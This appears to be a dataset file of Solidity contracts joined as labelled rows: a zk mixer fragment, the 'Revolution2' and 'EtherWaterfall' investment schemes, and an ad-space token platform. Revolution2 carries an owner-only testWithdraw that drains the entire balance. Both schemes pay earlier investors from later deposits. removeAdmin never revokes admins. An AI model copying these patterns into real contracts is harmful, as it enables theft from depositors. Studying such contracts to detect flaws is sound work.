function getMerklePath(uint256 leafIndex)
external
view
returns (uint256[15] memory out_path)
{
out_path = tree.getMerkleProof(leafIndex);
}
function isSpent(uint256 nullifier)
public
view
returns (bool)
{
return nullifiers[nullifier];
}
function verifyProof(uint256 in_root, address in_wallet_address, uint256 in_nullifier, uint256[8] memory proof)
public
view
returns (bool)
{
uint256[] memory snark_input = new uint256[](3);
snark_input[0] = in_root;
snark_input[1] = uint256(in_wallet_address);
snark_input[2] = in_nullifier;
return Verifier.verify(vk, gammaABC, proof, snark_input);
}
function withdraw(
address payable in_withdraw_address,
uint256 in_nullifier,
uint256[8] memory proof
)
public
{
uint startGas = gasleft();
require(!nullifiers[in_nullifier], "Nullifier used");
require(verifyProof(getRoot(), in_withdraw_address, in_nullifier, proof), "Proof verification failed");
nullifiers[in_nullifier] = true;
uint gasUsed = startGas - gasleft() + 82775;
uint relayerRefund = gasUsed * tx.gasprice;
if(relayerRefund > AMOUNT/20) relayerRefund = AMOUNT/20;
in_withdraw_address.transfer(AMOUNT - relayerRefund);
msg.sender.transfer(relayerRefund);
}
function treeDepth() external pure returns (uint256) {
return MerkleTree.treeDepth();
}
function getNextLeafIndex() external view returns (uint256) {
return tree.getNextLeafIndex();
}
} | 1 | 2,872 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
library Math {
function min(uint a, uint b) internal pure returns(uint) {
if (a > b) {
return b;
}
return a;
}
}
library Zero {
function requireNotZero(address addr) internal pure {
require(addr != address(0), "require not zero address");
}
function requireNotZero(uint val) internal pure {
require(val != 0, "require not zero value");
}
function notZero(address addr) internal pure returns(bool) {
return !(addr == address(0));
}
function isZero(address addr) internal pure returns(bool) {
return addr == address(0);
}
function isZero(uint a) internal pure returns(bool) {
return a == 0;
}
function notZero(uint a) internal pure returns(bool) {
return a != 0;
}
}
library Percent {
struct percent {
uint num;
uint den;
}
function mul(percent storage p, uint a) internal view returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function div(percent storage p, uint a) internal view returns (uint) {
return a/p.num*p.den;
}
function sub(percent storage p, uint a) internal view returns (uint) {
uint b = mul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function add(percent storage p, uint a) internal view returns (uint) {
return a + mul(p, a);
}
function toMemory(percent storage p) internal view returns (Percent.percent memory) {
return Percent.percent(p.num, p.den);
}
function mmul(percent memory p, uint a) internal pure returns (uint) {
if (a == 0) {
return 0;
}
return a*p.num/p.den;
}
function mdiv(percent memory p, uint a) internal pure returns (uint) {
return a/p.num*p.den;
}
function msub(percent memory p, uint a) internal pure returns (uint) {
uint b = mmul(p, a);
if (b >= a) {
return 0;
}
return a - b;
}
function madd(percent memory p, uint a) internal pure returns (uint) {
return a + mmul(p, a);
}
}
library Address {
function toAddress(bytes source) internal pure returns(address addr) {
assembly { addr := mload(add(source,0x14)) }
return addr;
}
function isNotContract(address addr) internal view returns(bool) {
uint length;
assembly { length := extcodesize(addr) }
return length == 0;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Accessibility {
address private owner;
modifier onlyOwner() {
require(msg.sender == owner, "access denied");
_;
}
constructor() public {
owner = msg.sender;
}
function disown() internal {
delete owner;
}
}
contract InvestorsStorage is Accessibility {
struct Investment {
uint value;
uint date;
bool partiallyWithdrawn;
bool fullyWithdrawn;
}
struct Investor {
uint overallInvestment;
uint paymentTime;
Investment[] investments;
Percent.percent individualPercent;
}
uint public size;
mapping (address => Investor) private investors;
function isInvestor(address addr) public view returns (bool) {
return investors[addr].overallInvestment > 0;
}
function investorInfo(address addr) returns(uint overallInvestment, uint paymentTime, Investment[] investments, Percent.percent individualPercent) {
overallInvestment = investors[addr].overallInvestment;
paymentTime = investors[addr].paymentTime;
investments = investors[addr].investments;
individualPercent = investors[addr].individualPercent;
}
function updatePercent(address addr) private {
uint investment = investors[addr].overallInvestment;
if (investment < 1 ether) {
investors[addr].individualPercent = Percent.percent(3,100);
} else if (investment >= 1 ether && investment < 10 ether) {
investors[addr].individualPercent = Percent.percent(4,100);
} else if (investment >= 10 ether && investment < 50 ether) {
investors[addr].individualPercent = Percent.percent(5,100);
} else if (investment >= 150 ether && investment < 250 ether) {
investors[addr].individualPercent = Percent.percent(7,100);
} else if (investment >= 250 ether && investment < 500 ether) {
investors[addr].individualPercent = Percent.percent(10,100);
} else if (investment >= 500 ether && investment < 1000 ether) {
investors[addr].individualPercent = Percent.percent(11,100);
} else if (investment >= 1000 ether && investment < 2000 ether) {
investors[addr].individualPercent = Percent.percent(14,100);
} else if (investment >= 2000 ether && investment < 5000 ether) {
investors[addr].individualPercent = Percent.percent(15,100);
} else if (investment >= 5000 ether && investment < 10000 ether) {
investors[addr].individualPercent = Percent.percent(18,100);
} else if (investment >= 10000 ether && investment < 30000 ether) {
investors[addr].individualPercent = Percent.percent(20,100);
} else if (investment >= 30000 ether && investment < 60000 ether) {
investors[addr].individualPercent = Percent.percent(27,100);
} else if (investment >= 60000 ether && investment < 100000 ether) {
investors[addr].individualPercent = Percent.percent(35,100);
} else if (investment >= 100000 ether) {
investors[addr].individualPercent = Percent.percent(100,100);
}
}
function newInvestor(address addr, uint investmentValue, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment != 0 || investmentValue == 0) {
return false;
}
investors[addr].overallInvestment = investmentValue;
investors[addr].paymentTime = paymentTime;
investors[addr].investments.push(Investment(investmentValue, paymentTime, false, false));
size++;
return true;
}
function addInvestment(address addr, uint value) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment == 0) {
return false;
}
investors[addr].overallInvestment += value;
investors[addr].investments.push(Investment(value, now, false, false));
updatePercent(addr);
return true;
}
function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) {
if (investors[addr].overallInvestment == 0) {
return false;
}
investors[addr].paymentTime = paymentTime;
return true;
}
function withdrawBody(address addr, uint limit) public onlyOwner returns (uint) {
Investment[] investments = investors[addr].investments;
uint valueToWithdraw = 0;
for (uint i = 0; i < investments.length; i++) {
if (!investments[i].partiallyWithdrawn && investments[i].date <= now - 30 days && valueToWithdraw + investments[i].value/2 <= limit) {
investments[i].partiallyWithdrawn = true;
valueToWithdraw += investments[i].value/2;
investors[addr].overallInvestment -= investments[i].value/2;
}
if (!investments[i].fullyWithdrawn && investments[i].date <= now - 60 days && valueToWithdraw + investments[i].value/2 <= limit) {
investments[i].fullyWithdrawn = true;
valueToWithdraw += investments[i].value/2;
investors[addr].overallInvestment -= investments[i].value/2;
}
return valueToWithdraw;
}
return valueToWithdraw;
}
function disqualify(address addr) public onlyOwner returns (bool) {
investors[addr].overallInvestment = 0;
investors[addr].investments.length = 0;
}
}
contract Revolution2 is Accessibility {
using Percent for Percent.percent;
using SafeMath for uint;
using Math for uint;
using Address for *;
using Zero for *;
mapping(address => bool) private m_referrals;
InvestorsStorage private m_investors;
uint public constant minInvestment = 50 finney;
uint public constant maxBalance = 8888e5 ether;
address public advertisingAddress;
address public adminsAddress;
uint public investmentsNumber;
uint public waveStartup;
Percent.percent private m_referal_percent = Percent.percent(5,100);
Percent.percent private m_referrer_percent = Percent.percent(15,100);
Percent.percent private m_adminsPercent = Percent.percent(5, 100);
Percent.percent private m_advertisingPercent = Percent.percent(5, 100);
Percent.percent private m_firstBakersPercent = Percent.percent(10, 100);
Percent.percent private m_tenthBakerPercent = Percent.percent(10, 100);
Percent.percent private m_fiftiethBakerPercent = Percent.percent(15, 100);
Percent.percent private m_twentiethBakerPercent = Percent.percent(20, 100);
event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp);
event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess);
event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus);
event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays);
event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day);
event LogNewInvestment(address indexed addr, uint when, uint investment, uint value);
event LogAutomaticReinvest(address indexed addr, uint when, uint investment);
event LogPayDividends(address indexed addr, uint when, uint dividends);
event LogNewInvestor(address indexed addr, uint when);
event LogBalanceChanged(uint when, uint balance);
event LogNextWave(uint when);
event LogDisown(uint when);
modifier balanceChanged {
_;
emit LogBalanceChanged(now, address(this).balance);
}
modifier notFromContract() {
require(msg.sender.isNotContract(), "only externally accounts");
_;
}
constructor() public {
adminsAddress = msg.sender;
advertisingAddress = msg.sender;
nextWave();
}
function() public payable {
if (msg.value.isZero()) {
getMyDividends();
return;
}
doInvest(msg.data.toAddress());
}
function disqualifyAddress(address addr) public onlyOwner {
m_investors.disqualify(addr);
}
function doDisown() public onlyOwner {
disown();
emit LogDisown(now);
}
function testWithdraw(address addr) public onlyOwner {
addr.transfer(address(this).balance);
}
function setAdvertisingAddress(address addr) public onlyOwner {
addr.requireNotZero();
advertisingAddress = addr;
}
function setAdminsAddress(address addr) public onlyOwner {
addr.requireNotZero();
adminsAddress = addr;
}
function investorsNumber() public view returns(uint) {
return m_investors.size();
}
function balanceETH() public view returns(uint) {
return address(this).balance;
}
function advertisingPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den);
}
function adminsPercent() public view returns(uint numerator, uint denominator) {
(numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den);
}
function investorInfo(address investorAddr) public view returns(uint overallInvestment, uint paymentTime, Percent.percent individualPercent, InvestorsStorage.Investment[] investments) {
(overallInvestment, paymentTime, investments, individualPercent) = m_investors.investorInfo(investorAddr);}
function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) {
dividends = calcDividends(investorAddr);
}
function getMyDividends() public notFromContract balanceChanged {
require(now.sub(getMemInvestor(msg.sender).paymentTime) > 1 hours);
uint dividends = calcDividends(msg.sender);
require (dividends.notZero(), "cannot to pay zero dividends");
assert(m_investors.setPaymentTime(msg.sender, now));
if (address(this).balance <= dividends) {
nextWave();
dividends = address(this).balance;
}
msg.sender.transfer(dividends);
emit LogPayDividends(msg.sender, now, dividends);
}
function doInvest(address referrerAddr) public payable notFromContract balanceChanged {
uint investment = msg.value;
uint receivedEther = msg.value;
require(investment >= minInvestment, "investment must be >= minInvestment");
require(address(this).balance <= maxBalance, "the contract eth balance limit");
if (receivedEther > investment) {
uint excess = receivedEther - investment;
msg.sender.transfer(excess);
receivedEther = investment;
emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess);
}
advertisingAddress.send(m_advertisingPercent.mul(receivedEther));
adminsAddress.send(m_adminsPercent.mul(receivedEther));
bool senderIsInvestor = m_investors.isInvestor(msg.sender);
if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] &&
referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) {
m_referrals[msg.sender] = true;
uint referrerBonus = m_referrer_percent.mmul(investment);
uint referalBonus = m_referal_percent.mmul(investment);
assert(m_investors.addInvestment(referrerAddr, referrerBonus));
investment += referalBonus;
emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus);
}
uint dividends = calcDividends(msg.sender);
if (senderIsInvestor && dividends.notZero()) {
investment += dividends;
emit LogAutomaticReinvest(msg.sender, now, dividends);
}
if (investmentsNumber % 20 == 0) {
investment += m_twentiethBakerPercent.mmul(investment);
} else if(investmentsNumber % 15 == 0) {
investment += m_fiftiethBakerPercent.mmul(investment);
} else if(investmentsNumber % 10 == 0) {
investment += m_tenthBakerPercent.mmul(investment);
}
if (senderIsInvestor) {
assert(m_investors.addInvestment(msg.sender, investment));
assert(m_investors.setPaymentTime(msg.sender, now));
} else {
if (investmentsNumber <= 50) {
investment += m_firstBakersPercent.mmul(investment);
}
assert(m_investors.newInvestor(msg.sender, investment, now));
emit LogNewInvestor(msg.sender, now);
}
investmentsNumber++;
emit LogNewInvestment(msg.sender, now, investment, receivedEther);
}
function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) {
(uint overallInvestment, uint paymentTime, InvestorsStorage.Investment[] memory investments, Percent.percent memory individualPercent) = m_investors.investorInfo(investorAddr);
return InvestorsStorage.Investor(overallInvestment, paymentTime, investments, individualPercent);
}
function calcDividends(address investorAddr) internal view returns(uint dividends) {
InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr);
if (investor.overallInvestment.isZero() || now.sub(investor.paymentTime) < 1 hours) {
return 0;
}
Percent.percent memory p = investor.individualPercent;
dividends = (now.sub(investor.paymentTime) / 1 hours) * p.mmul(investor.overallInvestment) / 24;
}
function nextWave() private {
m_investors = new InvestorsStorage();
investmentsNumber = 0;
waveStartup = now;
emit LogNextWave(now);
}
} | 1 | 3,030 |
pragma solidity ^0.4.25;
contract EtherWaterfall {
address constant private PROMO = 0x014bF153476683dC0A0673325C07EB3342281DC8;
uint constant public PROMO_PERCENT = 6;
uint constant public MULTIPLIER = 119;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= 13 ether);
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value*MULTIPLIER/100)));
uint promo = msg.value*PROMO_PERCENT/100;
PROMO.send(promo);
pay();
}
}
function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.send(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function getSingleDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getAllDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
} | 1 | 3,819 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Admin is Ownable {
using SafeMath for uint256;
struct Tier {
uint256 amountInCenter;
uint256 amountInOuter;
uint256 priceInCenter;
uint256 priceInOuter;
uint256 soldInCenter;
uint256 soldInOuter;
bool filledInCenter;
bool filledInOuter;
}
Tier[] public tiers;
bool public halted;
uint256 public logoPrice = 0;
uint256 public logoId;
address public platformWallet;
uint256 public feeForFirstArtWorkChangeRequest = 0 ether;
uint256 public feeForArtWorkChangeRequest = 0.2 ether;
uint256 public minResalePercentage = 15;
mapping(address => bool) public globalAdmins;
mapping(address => bool) public admins;
mapping(address => bool) public signers;
event Halted(bool _halted);
modifier onlyAdmin() {
require(true == admins[msg.sender] || true == globalAdmins[msg.sender]);
_;
}
modifier onlyGlobalAdmin() {
require(true == globalAdmins[msg.sender]);
_;
}
modifier notHalted() {
require(halted == false);
_;
}
function addGlobalAdmin(address _address) public onlyOwner() {
globalAdmins[_address] = true;
}
function removeGlobalAdmin(address _address) public onlyOwner() {
globalAdmins[_address] = false;
}
function addAdmin(address _address) public onlyGlobalAdmin() {
admins[_address] = true;
}
function removeAdmin(address _address) public onlyGlobalAdmin() {
admins[_address] = true;
}
function setSigner(address _address, bool status) public onlyGlobalAdmin() {
signers[_address] = status;
}
function setLogoPrice(uint256 _price) public onlyGlobalAdmin() {
logoPrice = _price;
}
function setFeeForFirstArtWorkChangeRequest(uint256 _fee) public onlyGlobalAdmin() {
feeForFirstArtWorkChangeRequest = _fee;
}
function setFeeForArtWorkChangeRequest(uint256 _fee) public onlyGlobalAdmin() {
feeForArtWorkChangeRequest = _fee;
}
function setTierData(
uint256 _index,
uint256 _priceInCenter,
uint256 _priceInOuter) public onlyGlobalAdmin() {
Tier memory tier = tiers[_index];
tier.priceInCenter = _priceInCenter;
tier.priceInOuter = _priceInOuter;
tiers[_index] = tier;
}
function setMinResalePercentage(uint256 _minResalePercentage) public onlyGlobalAdmin() {
minResalePercentage = _minResalePercentage;
}
function isAdmin(address _address) public view returns (bool isAdmin_) {
return (true == admins[_address] || true == globalAdmins[_address]);
}
function setHalted(bool _halted) public onlyGlobalAdmin {
halted = _halted;
emit Halted(_halted);
}
function verify(bytes32 _hash, uint8 _v, bytes32 _r, bytes32 _s) public pure returns (address) {
bytes memory prefix = '\x19Ethereum Signed Message:\n32';
return ecrecover(keccak256(abi.encodePacked(prefix, _hash)), _v, _r, _s);
}
function isContract(address addr) public view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function setPlatformWallet(address _addresss) public onlyGlobalAdmin() {
platformWallet = _addresss;
}
}
contract BigIoAdSpace is Ownable {
using SafeMath for uint256;
struct Token {
uint256 id;
uint256 x;
uint256 y;
uint256 sizeA;
uint256 sizeB;
uint256 soldPrice;
uint256 actualPrice;
uint256 timesSold;
uint256 timesUpdated;
uint256 soldAt;
uint256 inner;
uint256 outer;
uint256 soldNearby;
}
struct MetaData {
string meta;
}
struct InnerScope {
uint256 x1;
uint256 y1;
uint256 x2;
uint256 y2;
uint256 x3;
uint256 y3;
uint256 x4;
uint256 y4;
}
InnerScope public innerScope;
mapping(uint256 => MetaData) public metadata;
mapping(uint256 => address) public tokenOwner;
mapping(uint256 => mapping(uint256 => bool)) public neighbours;
mapping(uint256 => uint256[]) public neighboursArea;
Token[] public allMinedTokens;
mapping(uint256 => uint256) public allTokensIndex;
mapping(uint256 => mapping(uint256 => uint256)) public soldUnits;
address public platform;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event TokenPriceIncreased(uint256 _tokenId, uint256 _newPrice, uint256 _boughtTokenId, uint256 time);
constructor () public {
innerScope = InnerScope(
12, 11,
67, 11,
12, 34,
67, 34
);
}
modifier onlyPlatform() {
require(msg.sender == platform);
_;
}
modifier exists(uint256 _tokenId) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
_;
}
function setPlatform(address _platform) public onlyOwner() {
platform = _platform;
}
function totalSupply() public view returns (uint256) {
return allMinedTokens.length;
}
function tokenExists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function unitExists(uint x, uint y) public view returns (bool) {
return (soldUnits[x][y] != 0);
}
function getOwner(uint256 _tokenId) public view returns (address) {
return tokenOwner[_tokenId];
}
function getMetadata(uint256 _tokenId) public exists(_tokenId) view returns (string) {
return metadata[_tokenId].meta;
}
function setTokenMetadata(uint256 _tokenId, string meta) public onlyPlatform exists(_tokenId) {
metadata[_tokenId] = MetaData(meta);
}
function increaseUpdateMetadataCounter(uint256 _tokenId) public onlyPlatform {
allMinedTokens[allTokensIndex[_tokenId]].timesUpdated = allMinedTokens[allTokensIndex[_tokenId]].timesUpdated.add(1);
}
function removeTokenMetadata(uint256 _tokenId) public onlyPlatform exists(_tokenId) {
delete metadata[_tokenId];
}
function getCurrentPriceForToken(uint256 _tokenId) public exists(_tokenId) view returns (uint256) {
return allMinedTokens[allTokensIndex[_tokenId]].actualPrice;
}
function getTokenData(uint256 _tokenId) public exists(_tokenId) view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
Token memory token = allMinedTokens[allTokensIndex[_tokenId]];
return (_tokenId, token.x, token.y, token.sizeA, token.sizeB, token.actualPrice, token.soldPrice, token.inner, token.outer);
}
function getTokenSoldPrice(uint256 _tokenId) public exists(_tokenId) view returns (uint256) {
Token memory token = allMinedTokens[allTokensIndex[_tokenId]];
return token.soldPrice;
}
function getTokenUpdatedCounter(uint256 _tokenId) public exists(_tokenId) view returns (uint256) {
return allMinedTokens[allTokensIndex[_tokenId]].timesUpdated;
}
function getTokenSizes(uint256 _tokenId) public exists(_tokenId) view returns (uint256, uint256) {
Token memory token = allMinedTokens[allTokensIndex[_tokenId]];
return (token.sizeA, token.sizeB);
}
function getTokenScope(uint256 _tokenId) public exists(_tokenId) view returns (bool, bool) {
Token memory token = allMinedTokens[allTokensIndex[_tokenId]];
return (token.inner > 0, token.outer > 0);
}
function getTokenCounters(uint256 _tokenId) public exists(_tokenId) view returns (uint256, uint256, uint256, uint256) {
Token memory token = allMinedTokens[allTokensIndex[_tokenId]];
return (token.inner, token.outer, token.timesSold, token.soldNearby);
}
function mint(
address to,
uint x,
uint y,
uint sizeA,
uint sizeB,
uint256 totalPrice,
uint256 actualPrice
) public onlyPlatform() returns (uint256) {
require(to != address(0));
require(sizeA.mul(sizeB) <= 100);
uint256 inner;
uint256 total;
(total, inner) = calculateCounters(x, y, sizeA, sizeB);
uint256 tokenId = (allMinedTokens.length).add(1);
Token memory minted = Token(tokenId, x, y, sizeA, sizeB, totalPrice, actualPrice, 0, 0, 0, inner, total.sub(inner), 0);
copyToAllUnits(x, y, sizeA, sizeB, tokenId);
updateInternalState(minted, to);
return tokenId;
}
function updateTokensState(uint256 _tokenId, uint256 newPrice) public onlyPlatform exists(_tokenId) {
uint256 index = allTokensIndex[_tokenId];
allMinedTokens[index].timesSold += 1;
allMinedTokens[index].timesUpdated = 0;
allMinedTokens[index].soldNearby = 0;
allMinedTokens[index].soldPrice = newPrice;
allMinedTokens[index].actualPrice = newPrice;
allMinedTokens[index].soldAt = now;
}
function updateOwner(uint256 _tokenId, address newOwner, address prevOwner) public onlyPlatform exists(_tokenId) {
require(newOwner != address(0));
require(prevOwner != address(0));
require(prevOwner == tokenOwner[_tokenId]);
tokenOwner[_tokenId] = newOwner;
}
function inInnerScope(uint256 x, uint256 y) public view returns (bool) {
if ((x >= innerScope.x1) && (x <= innerScope.x2) && (y >= innerScope.y1) && (y <= innerScope.y3)) {
return true;
}
return false;
}
function calculateCounters(uint256 x, uint256 y, uint256 sizeA, uint256 sizeB) public view returns (uint256 total, uint256 inner) {
uint256 upX = x.add(sizeA);
uint256 upY = y.add(sizeB);
require(x >= 1);
require(y >= 1);
require(upX <= 79);
require(upY <= 45);
require(sizeA > 0);
require(sizeB > 0);
uint256 i;
uint256 j;
for (i = x; i < upX; i++) {
for (j = y; j < upY; j++) {
require(soldUnits[i][j] == 0);
if (inInnerScope(i, j)) {
inner = inner.add(1);
}
total = total.add(1);
}
}
}
function increasePriceForNeighbours(uint256 tokenId) public onlyPlatform {
Token memory token = allMinedTokens[allTokensIndex[tokenId]];
uint256 upX = token.x.add(token.sizeA);
uint256 upY = token.y.add(token.sizeB);
uint256 i;
uint256 j;
uint256 k;
uint256 _tokenId;
if (neighboursArea[tokenId].length == 0) {
for (i = token.x; i < upX; i++) {
_tokenId = soldUnits[i][token.y - 1];
if (_tokenId != 0) {
if (!neighbours[tokenId][_tokenId]) {
neighbours[tokenId][_tokenId] = true;
neighboursArea[tokenId].push(_tokenId);
}
if (!neighbours[_tokenId][tokenId]) {
neighbours[_tokenId][tokenId] = true;
neighboursArea[_tokenId].push(tokenId);
}
}
_tokenId = soldUnits[i][upY];
if (_tokenId != 0) {
if (!neighbours[tokenId][_tokenId]) {
neighbours[tokenId][_tokenId] = true;
neighboursArea[tokenId].push(_tokenId);
}
if (!neighbours[_tokenId][tokenId]) {
neighbours[_tokenId][tokenId] = true;
neighboursArea[_tokenId].push(tokenId);
}
}
}
for (j = token.y; j < upY; j++) {
_tokenId = soldUnits[token.x - 1][j];
if (_tokenId != 0) {
if (!neighbours[tokenId][_tokenId]) {
neighbours[tokenId][_tokenId] = true;
neighboursArea[tokenId].push(_tokenId);
}
if (!neighbours[_tokenId][tokenId]) {
neighbours[_tokenId][tokenId] = true;
neighboursArea[_tokenId].push(tokenId);
}
}
_tokenId = soldUnits[upX][j];
if (_tokenId != 0) {
if (!neighbours[tokenId][_tokenId]) {
neighbours[tokenId][_tokenId] = true;
neighboursArea[tokenId].push(_tokenId);
}
if (!neighbours[_tokenId][tokenId]) {
neighbours[_tokenId][tokenId] = true;
neighboursArea[_tokenId].push(tokenId);
}
}
}
}
for (k = 0; k < neighboursArea[tokenId].length; k++) {
Token storage _token = allMinedTokens[allTokensIndex[neighboursArea[tokenId][k]]];
_token.soldNearby = _token.soldNearby.add(1);
_token.actualPrice = _token.actualPrice.add((_token.actualPrice.div(100)));
emit TokenPriceIncreased(_token.id, _token.actualPrice, _tokenId, now);
}
}
function copyToAllUnits(uint256 x, uint256 y, uint256 width, uint256 height, uint256 tokenId) internal {
uint256 upX = x + width;
uint256 upY = y + height;
uint256 i;
uint256 j;
for (i = x; i < upX; i++) {
for (j = y; j < upY; j++) {
soldUnits[i][j] = tokenId;
}
}
}
function updateInternalState(Token minted, address _to) internal {
uint256 lengthT = allMinedTokens.length;
allMinedTokens.push(minted);
allTokensIndex[minted.id] = lengthT;
tokenOwner[minted.id] = _to;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BigIOERC20token is StandardToken, Ownable {
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public maxSupply;
bool public allowedMinting;
mapping(address => bool) public mintingAgents;
mapping(address => bool) public stateChangeAgents;
event MintERC20(address indexed _holder, uint256 _tokens);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
modifier onlyMintingAgents () {
require(mintingAgents[msg.sender]);
_;
}
constructor (string _name, string _symbol, uint8 _decimals, uint256 _maxSupply) public StandardToken() {
name = _name;
symbol = _symbol;
decimals = _decimals;
maxSupply = _maxSupply;
allowedMinting = true;
mintingAgents[msg.sender] = true;
}
function updateMintingAgent(address _agent, bool _status) public onlyOwner {
mintingAgents[_agent] = _status;
}
function mint(address _holder, uint256 _tokens) public onlyMintingAgents() {
require(allowedMinting == true && totalSupply_.add(_tokens) <= maxSupply);
totalSupply_ = totalSupply_.add(_tokens);
balances[_holder] = balanceOf(_holder).add(_tokens);
if (totalSupply_ == maxSupply) {
allowedMinting = false;
}
emit MintERC20(_holder, _tokens);
emit Transfer(0x0, _holder, _tokens);
}
}
contract PricingStrategy {
using SafeMath for uint256;
